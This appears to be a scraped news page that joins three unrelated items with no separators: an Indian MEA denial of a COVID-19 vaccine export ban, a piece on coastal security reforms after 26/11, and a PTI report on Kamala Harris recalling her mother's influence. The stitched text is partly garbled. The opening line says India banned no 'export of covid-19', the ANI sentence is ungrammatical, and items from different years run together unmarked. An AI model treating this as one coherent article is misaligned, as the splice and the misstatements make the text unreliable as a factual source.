Indian government today once again clarified that it has not imposed any ban on the export of covid-19.

During a media interaction Arindam Bagchi, MEA spokesperson said,” We have not imposed any export ban on COVID19 vaccines.”

Earlier ANI in a report has said that India has stopped shipments of the coronavirus vaccine from the Serum Institute to Canada have been put on hold for an indefinite period so as to cater to domestic needs.

They said given India’s manufacturing capacity and requirements of national vaccination programmes, there may be a need to calibrate the supply schedules from time-to-time.

“We had stated that keeping in view the domestic requirements of the phased rollout, India will continue to supply COVID-19 vaccines to partner countries over the coming weeks and months in a phased manner,” said a source earlier denying any ban on export of covid-19 vaccines to other countries.

“This position remains unchanged. We have not imposed any ban on exports of vaccines unlike many other countries,” the source added.

India started supplying the vaccine doses to foreign countries on January 20. The first countries to receive such vaccines were from the neighbourhood. So far, India supplied more than 60 million doses of Made-in-India vaccines to over 75 countries including through COVAX which is a global initiative aimed at equitable access to COVID-19 vaccines.

It has been 12 years since the 26/11 attack.  Such a date which will be known for the bravery of Indian soldiers, but more than that for the slander and deficiencies that happened at that time.  Weak information, weak cohesion, weak transport, lack of coordination, media coming out of news through terrorists getting information… and what not?  There were many such shortcomings in the country because India had not seen a bigger terrorist attack than this.  But today India is completely ready.  It has eyes of space, security, communication.  Overall, India is capable of fighting terrorists and giving a befitting reply.Maritime agencies and police were given additional freedom and responsibility immediately after 26/11.  They were allowed to buy ships, aircraft and boats from themselves.  Coastal radars were installed.  Automatic Identification System (AIS) was installed along the shore and on the ports.  National Command Control and Communication Network or NC3I, Joint Operations Centers, Information Fusion Center was created.  The Coastal Police was formed.  So that fishermen ships and boats can be monitored in all the states.
After the 26/11 attacks, the Navy increased its coordination with the Coast Guard and other agencies.  In every coastal state, a security exercise named ‘Sagar Kavach’ has been started with different agencies.  At the Center, the National Committee for Strengthening Maritime and Coastal Security coordinates between the Navy and the Coast Guard.  Now the Navy and the Coast Guard have been told a standard operating procedure, what to do immediately if something like this happens again.

Indian-origin Senator and Democratic vice-presidential candidate Kamala Harris has said her mother instilled in her that the core values of America is not just to strive for success and but also to leave the country better than they found it.

And this is what she strives to be, Harris said during the launch of the Asian American and Pacific Islander for Biden, a group supporting the Democratic nominee for the November presidential election.

Harris, 55, is of both African and Indian descent, with her father being from Jamaica and mother Shyamala Gopalan from Tamil Nadu. In public addresses, Harris has regularly reflects on the deep influence that her mother had on her.

“When my mother arrived in the United States from India, she understood that the core of her new home in America is that we not only strive for success, but to leave our country better than we found it, she told the AAPI event.

“That’s the approach she instilled in me, and I know many of you are working toward that same end, she said.

In a short video release later in the day on the occasion of Women’s Equality Day, Harris said that her mother was the greatest source of inspiration in my life.

“She taught me from a young age that I had a responsibility to fight for justice. At the age of 19, she arrived in the United States from India alone and with the dream of curing cancer. She was a woman who believed in solving problems, Harris said.

“In fact, she always used to say, ‘if you see a problem, don’t just sit around complaining about it, do something about it’,” she said.

“On the 100th anniversary of the 19th Amendment, it’s more important than ever that we keep up the fight at the ballot box to honor the women who came before us,” she asserted.

The 19th amendment to the US Constitution granted women the right to vote.

In another tweet along with a video, Harris said that as a young girl, her grandfather would often take her on his morning walks in India, where he’d discuss the importance of fighting for democracy and civil rights.

“That commitment and that fight for a better future live on in me to this day,” she said. — PTI
